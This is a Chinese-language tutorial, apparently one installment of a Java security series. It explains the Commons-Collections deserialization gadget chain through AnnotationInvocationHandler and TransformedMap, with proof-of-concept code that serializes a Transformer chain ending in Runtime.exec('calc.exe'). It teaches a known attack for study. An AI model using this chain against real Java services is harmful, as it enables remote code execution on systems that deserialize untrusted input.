AnnotationInvocationHandler

前面说过，触发漏洞的核心，在于需要向Map中加入新的元素，在上一篇中，我们是手动执行行 outerMap.put("test", "xxxx");来触发漏洞的，所以在实际反序列化利用的时候，时，我们需要找到一个 类，它在反序列化的readObject逻辑里有类似的写入操作。

这个类就是 sun.reflect.annotation.AnnotationInvocationHandler ，我们查看它的readObject方法（这是8u71以前的代码，8u71以后做了一些修改）

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
     // Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
            }catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type inannotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
            // If there are annotation members without values, that
            // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue:memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) { // i.e. member still exists
             Object value = memberValue.getValue();
              if (!(memberType.isInstance(value) ||
                 value instanceof ExceptionProxy)) {
                   memberValue.setValue(
                     new AnnotationTypeMismatchExceptionProxy(
                       value.getClass() + "[" + value + "]").setMember(
                         annotationType.members().get(name)));
            }
           }
        }
}

核心逻辑就是 Map.Entry memberValue : memberValues.entrySet() 和 memberValue.setValue(...)

memberValues就是反序列化后得到的Map，也是经过了TransformedMap修饰的对象，这里遍历了它 的所有元素，并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform，进而执行我们为其精心设计的任意代码

所以，我们构造POC的时候，就需要创建一个AnnotationInvocationHandler对象，并将前面构造的HashMap设置进来

Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

这里因为sun.reflect.annotation.AnnotationInvocationHandler是在JDK内部的类，不能直接使用new来实例化。可以使用反射获取它的构造方法，并将其设置成外部可见的，再调用就可以实例化了。AnnotationInvocationHandler类的构造函数有两个参数，第一个参数是一个Annotation类；第二个是参数就是前面构造的Map

这里有两个问题：什么是Annotation类？为什么这里使用 Retention.class ？

需要反射#

上面我们构造了一个AnnotationInvocationHandler对象，它就是我们反序列化利用链的起点了。我们通过如下代码将这个对象生成序列化流：

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

我们和上一篇文章的payload组成一个完整的POC。我们试着运行这个POC，看看能否生成序列化数据流

在writeObject的时候出现异常了： java.io.NotSerializableException: java.lang.Runtime

原因是Java中不是所有对象都支持序列化，待序列化的对象和所有它使用的内部属性对象，必须都实现了 java.io.Serializable 接口。而我们最早传给ConstantTransformer的是 Runtime.getRuntime() ，Runtime类是没有实现 java.io.Serializable接口的，所以不允许被序列化的。

在前边的《Java安全之反射》一篇中，提到可以通过反射来获取当前上下文中的Runtime对象，而不需要直接使用这个类：

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");

转换成Transformer的写法就是如下：

Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new String[]{"calc.exe"}
};

这里我们将Runtime.getRuntime() 换成了 Runtime.class ，前者是一个 java.lang.Runtime 对象，后者是一个 java.lang.Class 对象。Class类有实现Serializable接口，所以可以被序列化的。

这里是传入一个Runtime.class,通过反射拿到Runtime.getRuntime(),然后再反射拿到invoke方法，再反射拿到exec方法。